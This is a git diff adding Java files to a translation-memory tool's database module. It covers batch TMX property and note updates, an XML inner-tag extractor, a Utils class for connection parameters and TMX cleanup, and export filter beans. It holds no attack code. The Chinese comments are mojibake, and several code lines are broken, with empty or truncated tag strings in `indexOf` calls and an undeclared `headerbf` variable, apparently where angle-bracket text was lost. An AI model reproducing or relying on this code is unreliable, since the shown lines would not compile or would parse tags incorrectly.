    + dbOperator.deleteProps(tuvpkids, TUV_NAME); + monitor.worked(5); + // ---------------------Bã€åˆ é™¤æœ‰3个以上语言对的情况 + if (null != tupkids4DeleteTuv && !tupkids4DeleteTuv.isEmpty()) { + dbOperator.deleteTuvMatrixLang(tuvpkids_signle, srcCode, tgtCode); + dbOperator.deleteExValues(tuvpkids_signle, TUV_NAME); + dbOperator.deleteNotes(tuvpkids_signle, TUV_NAME); + dbOperator.deleteProps(tuvpkids_signle, TUV_NAME); + for (int id : tupkids4DeleteTuv) { + updateTuInfo(id, user, null); + } + } + + // 删除语言 + if (dbOperator.getLangCountInTextData(srcCode) == 0) { + dbOperator.deleteLang(srcCode); + } + if (dbOperator.getLangCountInTextData(tgtCode) == 0) { + dbOperator.deleteLang(tgtCode); + } + dbOperator.commit(); + monitor.done(); + } + + /** + * @param ignoreTag + * @param srcCode + * @param tgtCode + * @return + * @throws SQLException + * ; + */ + public Map> getSimpleTuDBDatas(boolean ignoreTag, String srcCode, String tgtCode) + throws SQLException { + return dbOperator.getSrcTgtGrouped(ignoreTag, srcCode, tgtCode); + } + + public void deleteEndsSpaces(IProgressMonitor monitor) throws SQLException { + monitor.beginTask("", 1); + monitor.setTaskName(Messages.getString("net.heartsome.cat.database.TMXDBOperatorFacade.deleteEndsSpace")); + dbOperator.deleteTUVContentEndsSpace(); + monitor.done(); + } + + public boolean updateAllTuAttr(String name, String newValue) throws SQLException { + String tuColumn = getTuColumn(name); + if (null == tuColumn) { + return false; + } + return dbOperator.updateTuAttrByColumn(tuColumn, newValue); + } + + public boolean updateFilterTuAttr(String name, String newValue, List tupkids) throws SQLException { + String tuColumn = getTuColumn(name); + if (null == tuColumn) { + return false; + } + return dbOperator.updateTuAttrByColumnAndIds(tuColumn, newValue, tupkids); + } + + public boolean batchAddTuProps(String paname, String content, List ids, IProgressMonitor monitor) + throws SQLException { + return dbOperator.addTuRropByTuIds(TU_NAME, paname, content, ids, monitor); + } + + public boolean batchAddTuNotes(String content, List tuids, IProgressMonitor monitor) throws SQLException { + return dbOperator.addTuNotesByTuIds(TU_NAME, content, tuids, monitor); + } + + public String getTuColumn(String name) { + if ("creationid".equals(name)) { + return CREATIONID; + } else if ("creationdate".equals(name)) { + return CREATIONDATE; + } else if ("changedate".equals(name)) { + return CHANGEDATE; + } else if ("changeid".equals(name)) { + return CHANGEID; + } else if ("creationtool".equals(name)) { + return CREATIONTOOL; + } else if ("creationtoolversion".equals(name)) { + return CTVERSION; + } else if ("tuid".equals(name)) { + return TUID; + } + return null; + } + + public boolean batchUpdateTuProp(String oldPname, String oldContent, String newPname, String newContent, + List ids) throws SQLException { + if (null == ids) { + return dbOperator.updateAllProp(oldPname, oldContent, newPname, newContent); + } else { + return dbOperator.updatePropByIds(oldPname, oldContent, newPname, newContent, ids); + } + } + + public boolean batchUpdateTuPropType(String oldPname, String newPname, List ids) throws SQLException { + if (null == ids) { + return dbOperator.updateAllPropType(oldPname, newPname); + } else { + return dbOperator.updatePropTypeByIds(oldPname, newPname, ids); + } + } + + public boolean batchUpdateTuNote(String oldContent, String newContent, List ids) throws SQLException { + if (null == ids) { + return dbOperator.updateAllNotes(oldContent, newContent); + } else { + return dbOperator.updateNotesByIds(oldContent, newContent, ids); + } + } + + public boolean batchDeleteTuProp(String oldPname, String oldContent, List ids) throws SQLException { + if (null == ids) { + return dbOperator.deleteAllProp(oldPname, oldContent); + } else { + return dbOperator.deletePropByIds(oldPname, oldContent, ids); + } + } + + public boolean batchDeleteTuNote(String oldContent, List ids) throws SQLException { + if (null == ids) { + return dbOperator.deleteAllNote(oldContent); + } else { + return dbOperator.deleteNotesByIds(oldContent, ids); + } + } + + /** + * 批é‡æ›´æ–°TUv的固定属性 + * @param name + * @param content + * @param filterTuIds + * @param langs + * @param monitor + * @return + * @throws SQLException + * ; + */ + public boolean batchUpdateTuvExAttribute(String name, String content, List filterTuIds, + List langs, IProgressMonitor monitor) throws SQLException { + boolean dataBaseModifyed = false; + List tuvIdsByLangs = null; + monitor.beginTask("", 100); + if (null == filterTuIds) { // 更新整个数æ®åº“ + tuvIdsByLangs = dbOperator.getTuvIdsByLangs(langs); + } else { + tuvIdsByLangs = dbOperator.getTuvIdsByLangsAndTuids(langs, filterTuIds); + } + monitor.worked(20); + // å«æœ‰å›ºå®šå±žæ€§çš„TEXTRA_ID + List attrIdsByName = dbOperator.getAttrIdsByName(name, tuvIdsByLangs); + monitor.worked(5); + if (dbOperator.deleteExAttributes(attrIdsByName, name, content)) { + dataBaseModifyed = true; + } + monitor.worked(30); + // 新增固定的属性 + SubProgressMonitor addJob = new SubProgressMonitor(monitor, 45); + if (dbOperator.addExAttributes(TUV_NAME, tuvIdsByLangs, name, content, addJob)) { + dataBaseModifyed = true; + } + monitor.done(); + return dataBaseModifyed; + } +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/TranslationMemoryTools.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/TranslationMemoryTools.java new file mode 100644 index 0000000..a3eb32a --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/TranslationMemoryTools.java @@ -0,0 +1,85 @@ +/** + * TranslationMemoryTools.java + * + * Version information : + * + * Date:2012-12-3 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database; + + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public final class TranslationMemoryTools { + + public static String getInnerTagContent(String fullText) { + StringBuffer sbOriginalValue = new StringBuffer(fullText); + StringBuffer result = new StringBuffer(); + int start = -1; + while ((start = sbOriginalValue.indexOf("<", start + 1)) > -1) { + int end = sbOriginalValue.indexOf(">", start + 1); + if (end > -1) { + String xmlTag = sbOriginalValue.substring(start, end + 1); // æå–出的内部标记xmlå½¢å¼çš„文本 + String tagName = getTagName(xmlTag); + + if (xmlTag.indexOf("/>", 1) > -1) { // 独立标签 + result.append(xmlTag); + } else if (xmlTag.indexOf(" -1) { // 结æŸæ ‡ç­¾ + result.append(xmlTag); + } else if (xmlTag.indexOf(">") > -1) { // 开始标签 + if ("bpt".equals(tagName)) { + int endIndex = sbOriginalValue.indexOf("", start) + "".length(); + xmlTag = sbOriginalValue.substring(start, endIndex); + result.append(xmlTag); + } else if ("ept".equals(tagName)) { + int endIndex = sbOriginalValue.indexOf("", start) + "".length(); + xmlTag = sbOriginalValue.substring(start, endIndex); + result.append(xmlTag); + } else if ("ph".equals(tagName) || "it".equals(tagName)) { + String tempTagName = ""; + int endIndex = sbOriginalValue.indexOf(tempTagName, start) + tempTagName.length(); + xmlTag = sbOriginalValue.substring(start, endIndex); + result.append(xmlTag); + } else { + result.append(xmlTag); + } + } + } + } + return result.toString(); + } + + /** + * 得到标记的å称 + * @param xmlTag + * XMLæ ¼å¼çš„标记 + * @return 标记å称; + */ + private static String getTagName(String xmlTag) { + if (xmlTag.indexOf(" -1) { // 结æŸæ ‡è®° + return xmlTag.substring(2, xmlTag.length() - 1); + } + int end = xmlTag.indexOf("/>", 1); // 独立标记 + if (end == -1) { + end = xmlTag.length() - 1; // 开始标记 + } + int tempIndex = xmlTag.indexOf(" ", 1); + if (tempIndex > -1 && tempIndex < end) { + end = tempIndex; + } + return xmlTag.substring(1, end); + } + + public static void main(String[] args) { + String fullText = "The Silicom Gigabit Ethernet PCI Express serverdadfa adapters are PCI Express network interface cards that contain Multiple / Single independent Gigabit Ethernet port/s on a PCI Express adapter."; + System.out.println(getInnerTagContent(fullText)); + } +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/Utils.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/Utils.java new file mode 100644 index 0000000..1b8a659 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/Utils.java @@ -0,0 +1,368 @@ +package net.heartsome.cat.database; + +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileWriter; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.UnsupportedEncodingException; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; +import java.util.Properties; +import java.util.Random; +import java.util.Set; + +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.common.core.exception.ImportException; +import net.heartsome.cat.common.util.FileEncodingDetector; +import net.heartsome.cat.database.resource.Messages; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * æ•°æ®åº“æ“作的工具类 + * @author terry + * @version + * @since JDK1.6 + */ +public class Utils { + + /** + * 构造函数 + */ + protected Utils() { + throw new UnsupportedOperationException(); // prevents calls from subclass + } + + /** + * 将传入的文本中的æŸäº›ç‰¹æ®Šå­—符替æ¢æˆå…ƒæ•°æ®ä¸­çš„值 + * @param text + * @param metaData + * @return ; + */ + public static String replaceParams(String text, MetaData metaData) { + if (metaData == null) { + return text; + } + text = text.replace("__SERVER_NAME__", metaData.getServerName()); //$NON-NLS-1$ + text = text.replace("__DATABASE_NAME__", metaData.getDatabaseName()); //$NON-NLS-1$ + text = text.replace("__PORT_NUMBER__", metaData.getPort()); //$NON-NLS-1$ + text = text.replace("__USER__", metaData.getUserName()); //$NON-NLS-1$ + text = text.replace("__PASSWORD__", metaData.getPassword()); //$NON-NLS-1$ + text = text.replace("__INSTANCE__", metaData.getInstance()); //$NON-NLS-1$ + text = text.replace("__PATH__", metaData.getDataPath()); + return text; + } + + /** + * 将传入的 para 中的æŸäº›ç‰¹æ®Šå­—符替æ¢æˆå…ƒæ•°æ®ä¸­çš„值 + * @param para + * @param metaData + * @return ; + */ + public static Properties replaceParams(HashMap para, MetaData metaData) { + Properties result = new Properties(); + Set keySet = para.keySet(); + for (String i : keySet) { + result.put(i, replaceParams(para.get(i), metaData)); + } + return result; + } + + /** + * 将标准语言替æ¢ä¸ºæ•°æ®åº“å­˜å‚¨çš„æ ¼å¼ + * @param lang + * @return ; + */ + public static String langToCode(String lang) { + if (lang == null) { + return null; + } + return lang.replaceAll("-", ""); + } + + public static Hashtable getHeaderMatch() { + Hashtable re = new Hashtable(); + re.put("creationtool", "CREATIONTOOL"); + re.put("creationtoolversion", "CTVERSION"); + re.put("o-tmf", "TMF"); + re.put("srclang", "SRCLANG"); + re.put("adminlang", "ADMINLANG"); + re.put("datatype", "DATATYPE"); + re.put("segtype", "SEGTYPE"); + re.put("creationdate", "CREATIONDATE"); + re.put("creationid", "CREATIONID"); + re.put("changedate", "CHANGEDATE"); + re.put("changeid", "CHANGEID"); + re.put("o-encoding", "ENCODING"); + return re; + } + + public static Map getTMXNotesMatch() { + Map re = new HashMap(); + re.put("xml:lang", "LANG"); + re.put("creationdate", "CREATIONDATE"); + re.put("creationid", "CREATIONID"); + re.put("changedate", "CHANGEDATE"); + re.put("changeid", "CHANGEID"); + re.put("o-encoding", "ENCODING"); + return re; + } + + public static Map getTMXPropsMatch() { + Map re = new HashMap(); + // 1.4 是type + re.put("type", "TYPE"); + // 2.0是name + re.put("name", "TYPE"); + re.put("xml:lang", "LANG"); + re.put("o-encoding", "ENCODING"); + return re; + } + + public static Map getTUMatch() { + Map re = new HashMap(); + re.put("headerid", "HEADERID"); + re.put("tuid", "TUID"); + re.put("creationid", "CREATIONID"); + re.put("creationdate", "CREATIONDATE"); + re.put("changeid", "CHANGEID"); + re.put("changedate", "CHANGEDATE"); + re.put("creationtool", "CREATIONTOOL"); + re.put("creationtoolversion", "CTVERSION"); + // TODO 确定以下三个属性匹é…是å¦æ­£ç¡® + re.put("client", "CLIENT"); + re.put("projectref", "PROJECTREF"); + re.put("jobref", "JOBREF"); + return re; + } + + public static Map getTUDbMatchTmx() { + Map re = new HashMap(); + re.put("HEADERID", "headerid"); + re.put("TUID", "tuid"); + re.put("CREATIONID", "creationid"); + re.put("CREATIONDATE", "creationdate"); + re.put("CHANGEID", "changeid"); + re.put("CHANGEDATE", "changedate"); + re.put("CREATIONTOOL", "creationtool"); + re.put("CTVERSION", "creationtoolversion"); + // TODO 确定以下三个属性匹é…是å¦æ­£ç¡® + re.put("CLIENT", "client"); + re.put("PROJECTREF", "projectref"); + re.put("JOBREF", "jobref"); + return re; + } + + /** + * 生æˆä»»æ„ä½æ•°çš„éšæœºæ•° + * @param codeLength + * éšæœºæ•°çš„ä½æ•° + * @return éšæœºæ•° + */ + public static String validateCode(int codeLength) { + int count = 0; + char str[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9' }; + StringBuffer pwd = new StringBuffer(""); + Random r = new Random(); + while (count < codeLength) { + int i = Math.abs(r.nextInt(10)); + if (i >= 0 && i < str.length) { + pwd.append(str[i]); + count++; + } + } + return pwd.toString(); + } + + /** + * 用字符串 strTgt 替æ¢å­—符串 text 中的 strSrc 字符串 + * @param text + * 需è¦åšæ›¿æ¢å¤„ç†çš„字符串 + * @param strSrc + * 替æ¢çš„字符串 + * @param strTgt + * 新的字符串 + * @return + */ + public static String replaceString(String text, String strSrc, String strTgt) { + if (text == null || strSrc == null) { + return null; + } + if (strTgt == null) { + strTgt = ""; + } + if (!strTgt.equals("")) { + // 替æ¢ç‰¹æ®Šå­—符($) + strTgt = strTgt.replaceAll("\\$", "\\\\\\$"); + } + return text.replaceAll(strSrc, strTgt); + } + + /** + * 1为String类型,2为datetime类型 获å–匹é…æ¡ä»¶å¯¹åº”æ•°æ®åº“字段 + * @param tableName + * 表å,æ ¹æ®è¡¨å将获得对应表中的过滤字段,当å‰æ”¯æŒ MTU,TEXTDATA,MNOTE + * @return ; + */ + public static Map getFilterMatchMTU(String tableName) { + Map match = new HashMap(); + if (tableName.equals("MTU")) { + match.put("CREATIONDATE", '2'); + match.put("CHANGEDATE", '2'); + match.put("CREATIONID", '1'); + match.put("CHANGEID", '1'); + match.put("PROJECTREF", '1'); + match.put("JOBREF", '1'); + + } else if (tableName.equals("TEXTDATA")) { + match.put("PURE", '1'); + } else if (tableName.equals("MNOTE")) { + match.put("CONTENT", '1'); + } + return match; + } + + public static String convertLangCode(String lang) { + if (lang == null || lang.equals("")) { + return lang; + } + if (lang.length() == 5) { + String[] code = lang.split("-"); + if (code.length == 2) { + return code[0].toLowerCase() + "-" + code[1].toUpperCase(); + } else { + return lang; + } + } else if (lang.length() == 2) { + return lang.toLowerCase(); + } else { + return lang; + } + } + + public static File clearTmxFile(File f) throws ImportException { + Logger logger = LoggerFactory.getLogger(Utils.class); + File tempFile = null; + BufferedWriter writer = null; + try { + tempFile = File.createTempFile("tmxtemp", ".tmx"); + writer = new BufferedWriter(new FileWriter(tempFile)); + } catch (IOException e1) { + logger.error("", e1); + } + + String encoding = FileEncodingDetector.detectFileEncoding(f); + + FileInputStream in = null; + try { + in = new FileInputStream(f); + } catch (FileNotFoundException e) { + if (writer != null) { + try { + writer.close(); + } catch (IOException e1) { + logger.error("", e1); + } + } + logger.error("", e); + } + InputStreamReader inr = null; + try { + inr = new InputStreamReader(in, encoding); + } catch (UnsupportedEncodingException e1) { + try { + if (writer != null) { + writer.close(); + } + if( in != null){ + in.close(); + } + } catch (IOException e) { + logger.error("", e); + } + throw new ImportException(Messages.getString("database.Utils.msg1")); + } + BufferedReader bfr = new BufferedReader(inr); + try { + String line = bfr.readLine(); + boolean flg = true; + while (line != null) { + if (flg) { + int tmpos = line.indexOf(""); + while (tempeos == -1) { + line = bfr.readLine(); + if (line == null) { + throw new ImportException(Messages.getString("database.Utils.msg2")); + } + headerbf.append("\n").append(line); + tempeos = headerbf.indexOf(">"); + } + String headerStart = headerbf.substring(0, tempeos + 1); + writer.write(headerStart); + int t = line.indexOf("/>"); + if(t != -1){ + String end = line.substring(t + 2, line.length()); + if(end != null && end.length() != 0){ + writer.write(end); + } + line = bfr.readLine(); + flg = false; + continue; + } + t = line.indexOf(""); + if(t != -1){ + String end = line.substring(t, line.length()); + writer.write(end); + line = bfr.readLine(); + flg = false; + continue; + } + // read to + line = bfr.readLine(); + while (line != null) { + int endof = line.indexOf(""); + if (endof != -1) { + line = line.substring(endof, line.length()); + flg = false; + break; + } + line = bfr.readLine(); + } + } + } + writer.write(line); + line = bfr.readLine(); + } + } catch (IOException e) { + logger.error("", e); + } finally { + try { + if (writer != null) { + writer.close(); + } + if( bfr != null){ + bfr.close(); + } + } catch (IOException e) { + logger.error("", e); + } + } + + return tempFile; + } + + public static void main(String arg[]) { + System.out.println(convertLangCode("en-US")); + } +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/ExportDatabaseBean.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/ExportDatabaseBean.java new file mode 100644 index 0000000..bd26166 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/ExportDatabaseBean.java @@ -0,0 +1,171 @@ +/** + * ExportDatabaseBean.java + * + * Version information : + * + * Date:Feb 14, 2012 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.bean; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.bean.MetaData; + +/** + * 导出TMX/TBX时对数æ®åº“åŠå¯¼å‡ºå‚æ•°çš„å°è£… + * @author Jason + * @version + * @since JDK1.6 + */ +public class ExportDatabaseBean { + + private String index; + + /** æ•°æ®åº“å‚æ•° */ + private MetaData dbBean; + + /** æ•°æ®åº“已有语言 */ + private String existLangs; + + /**  需è¦å¯¼å‡ºçš„语言  */ + private List hasSelectedLangs; + + /** æºè¯­è¨€ */ + private String srcLang; + + private String exportFilePath; + + /** å¯ä¾›é€‰æ‹©çš„æºè¯­è¨€ï¼Œæ ¹æ®é€‰æ‹©çš„需è¦å¯¼å‡ºçš„语言定下æ¥çš„ */ + private List canSelSrcLangs; + + public ExportDatabaseBean(MetaData db, String existLangs) { + this.dbBean = db; + this.existLangs = existLangs; + this.hasSelectedLangs = new ArrayList(); + this.canSelSrcLangs = new ArrayList(); + String[] arrayLang = existLangs.split(","); + for (int i = 0; i < arrayLang.length; i++) { + hasSelectedLangs.add(arrayLang[i]); + canSelSrcLangs.add(arrayLang[i]); + } + this.srcLang = ""; + } + + /** @return the index */ + public String getIndex() { + return index; + } + + /** + * @param index + * the index to set + */ + public void setIndex(String index) { + this.index = index; + } + + /** @return the dbBean */ + public MetaData getDbBean() { + return dbBean; + } + + /** + * @param dbBean + * the dbBean to set + */ + public void setDbBean(MetaData dbBean) { + this.dbBean = dbBean; + } + + /** @return the existLangs */ + public String getExistLangs() { + return existLangs; + } + + /** + * @param existLangs + * the existLangs to set + */ + public void setExistLangs(String existLangs) { + this.existLangs = existLangs; + } + + /** @return the sourceLangs */ + public List getCanSelSrcLangs() { + return canSelSrcLangs; + } + + /** + * @param sourceLangs + * the sourceLangs to set + */ + public void setCanSelSrcLangs(List sourceLangs) { + this.canSelSrcLangs = sourceLangs; + } + + /** @return the hasSelectedLangs */ + public List getHasSelectedLangs() { + return hasSelectedLangs; + } + + /** + * @param hasSelectedLangs + * the hasSelectedLangs to set + */ + public void setHasSelectedLangs(List hasSelectedLangs) { + this.hasSelectedLangs = hasSelectedLangs; + } + + /** @return the srcLangs */ + public String getSrcLang() { + return srcLang; + } + + /** + * @param srcLangs + * the srcLangs to set + */ + public void setSrcLang(String srcLang) { + this.srcLang = srcLang; + } + + /** @return the exportFilePath */ + public String getExportFilePath() { + return exportFilePath; + } + + /** + * @param exportFilePath + * the exportFilePath to set + */ + public void setExportFilePath(String exportFilePath) { + this.exportFilePath = exportFilePath; + } + + @Override + public boolean equals(Object o) { + if (o instanceof ExportDatabaseBean) { + ExportDatabaseBean bean = (ExportDatabaseBean) o; + MetaData b = bean.getDbBean(); + MetaData a = this.getDbBean(); + String dbname = a.getDatabaseName(); + String host = b.getServerName(); + String port = a.getPort(); + String instance = a.getInstance(); + String localPath = a.getDataPath(); + if (b.getDatabaseName().equals(dbname) && b.getServerName().equals(host) + && b.getDataPath().equals(localPath) && b.getPort().equals(port) + && b.getInstance().equals(instance)) { + return true; + } + } + return super.equals(o); + } + +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/ExportFilterBean.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/ExportFilterBean.java new file mode 100644 index 0000000..9f53d02 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/ExportFilterBean.java @@ -0,0 +1,78 @@ +/** + * ExportFilterBean.java + * + * Version information : + * + * Date:Feb 16, 2012 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.bean; + +import java.util.List; + +/** + * 导出过滤æ¡ä»¶ + * @author Jason + * @version + * @since JDK1.6 + */ +public class ExportFilterBean { + + private String filterName; + private List filterOption; + private String filterConnector; + private String filterType; + + + /** @return the filterName */ + public String getFilterName() { + return filterName; + } + + /** + * @param filterName + * the filterName to set + */ + public void setFilterName(String filterName) { + this.filterName = filterName; + } + + /** @return the filterOption */ + public List getFilterOption() { + return filterOption; + } + + /** + * @param filterOption + * the filterOption to set + */ + public void setFilterOption(List filterOption) { + this.filterOption = filterOption; + } + + /** @return the filterConnector "AND" or "OR"*/ + public String getFilterConnector() { + return filterConnector; + } + + /** @param filterConnector the filterConnector to set */ + public void setFilterConnector(String filterConnector) { + this.filterConnector = filterConnector; + } + + /** @return the filterType "TMX" or "TBX"*/ + public String getFilterType() { + return filterType; + } + + /** @param filterType the filterType to set */ + public void setFilterType(String filterType) { + this.filterType = filterType; + } + + +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/ExportFilterComponentBean.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/ExportFilterComponentBean.java new file mode 100644 index 0000000..68c79bb --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/ExportFilterComponentBean.java @@ -0,0 +1,192 @@ +/** + * ExportFilterBean.java + * + * Version information : + * + * Date:Feb 15, 2012 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.bean; + +import java.util.HashMap; +import java.util.LinkedHashMap; +import java.util.Map; +import java.util.Set; + +import net.heartsome.cat.database.resource.Messages; + +/** + * 导出过滤器基础数æ®ï¼Œå¯¹åº”设置过滤æ¡ä»¶ç»„件 + * @author Jason + * @version + * @since JDK1.6 + */ +public class ExportFilterComponentBean { + + private String optionName; // 过滤æ¡ä»¶å称 + + private String expression; // 过滤æ¡ä»¶å¯ç”¨è¡¨è¾¾å¼ + + /** key-过滤æ¡ä»¶å称;value-过滤æ¡ä»¶è¡¨è¾¾å¼å称 */ + private LinkedHashMap filterContent; // 过滤æ¡ä»¶åŸºç¡€æ•°æ®,åˆå§‹åŒ–组件 + + private String filterVlaue; // 过滤的内容 + + private Map matchDb; + + private Map matchDbOp; + + /** + * 构造器 + * @param ruleType + * 用于指定是TMX还是TBX + */ + public ExportFilterComponentBean(String ruleType) { + filterContent = new LinkedHashMap(); + if (ruleType.equals("TMX")) { + filterContent.put( + Messages.getString("bean.ExportFilterComponentBean.segment"), + Messages.getString("bean.ExportFilterComponentBean.contain") + "," + + Messages.getString("bean.ExportFilterComponentBean.notcontain")); + filterContent.put( + Messages.getString("bean.ExportFilterComponentBean.creationDate"), + Messages.getString("bean.ExportFilterComponentBean.gt") + "," + + Messages.getString("bean.ExportFilterComponentBean.lt")); + filterContent.put( + Messages.getString("bean.ExportFilterComponentBean.changeDate"), + Messages.getString("bean.ExportFilterComponentBean.gt") + "," + + Messages.getString("bean.ExportFilterComponentBean.lt")); + filterContent.put(Messages.getString("bean.ExportFilterComponentBean.creationId"), + Messages.getString("bean.ExportFilterComponentBean.eq")); + filterContent.put(Messages.getString("bean.ExportFilterComponentBean.changeId"), + Messages.getString("bean.ExportFilterComponentBean.eq")); +// filterContent.put(Messages.getString("bean.ExportFilterComponentBean.projectRef"), +// Messages.getString("bean.ExportFilterComponentBean.contain")); +// filterContent.put(Messages.getString("bean.ExportFilterComponentBean.jobRef"), +// Messages.getString("bean.ExportFilterComponentBean.contain")); + filterContent.put(Messages.getString("bean.ExportFilterComponentBean.noteRef"), + Messages.getString("bean.ExportFilterComponentBean.contain")); + + this.optionName = Messages.getString("bean.ExportFilterComponentBean.segment"); + this.expression = Messages.getString("bean.ExportFilterComponentBean.contain"); + + matchDb = new HashMap(); + matchDb.put(Messages.getString("bean.ExportFilterComponentBean.creationDate"), "CREATIONDATE"); + matchDb.put(Messages.getString("bean.ExportFilterComponentBean.changeDate"), "CHANGEDATE"); + matchDb.put(Messages.getString("bean.ExportFilterComponentBean.creationId"), "CREATIONID"); + matchDb.put(Messages.getString("bean.ExportFilterComponentBean.changeId"), "CHANGEID"); +// matchDb.put(Messages.getString("bean.ExportFilterComponentBean.projectRef"), "PROJECTREF"); +// matchDb.put(Messages.getString("bean.ExportFilterComponentBean.jobRef"), "JOBREF"); + matchDb.put(Messages.getString("bean.ExportFilterComponentBean.segment"), "PURE"); + matchDb.put(Messages.getString("bean.ExportFilterComponentBean.noteRef"), "CONTENT"); + } else { + filterContent.put(Messages.getString("bean.ExportFilterComponentBean.tbContent"), + Messages.getString("bean.ExportFilterComponentBean.contain")); + + this.optionName = Messages.getString("bean.ExportFilterComponentBean.tbContent"); + this.expression = Messages.getString("bean.ExportFilterComponentBean.contain"); + + matchDb = new HashMap(); + matchDb.put(Messages.getString("bean.ExportFilterComponentBean.tbContent"), "PURE"); + } + + matchDbOp = new HashMap(); + matchDbOp.put(Messages.getString("bean.ExportFilterComponentBean.eq"), "="); + matchDbOp.put(Messages.getString("bean.ExportFilterComponentBean.gt"), ">"); + matchDbOp.put(Messages.getString("bean.ExportFilterComponentBean.lt"), "<"); + matchDbOp.put(Messages.getString("bean.ExportFilterComponentBean.contain"), "like"); + matchDbOp.put(Messages.getString("bean.ExportFilterComponentBean.notcontain"), "not like"); + } + + /** + * 获å–过滤æ¡ä»¶çš„è¡¨è¾¾å¼ + * @param filterName + * 过滤æ¡ä»¶å称 + * @return 过滤æ¡ä»¶çš„表达å¼å称; + */ + public String[] getExpressionsByName(String filterName) { + return filterContent.get(filterName).split(","); + } + + /** + * 获å–当å‰è¿‡æ»¤æ¡ä»¶çš„æ‰€æœ‰è¡¨è¾¾å¼ + * @return ; + */ + public String[] getCurrentFilterExpressions() { + return filterContent.get(this.optionName).split(","); + } + + /** + * 获å–所有过滤æ¡ä»¶çš„å称 + * @return ; + */ + public String[] getFilterNames() { + Set set = filterContent.keySet(); + return set.toArray(new String[set.size()]); + } + + 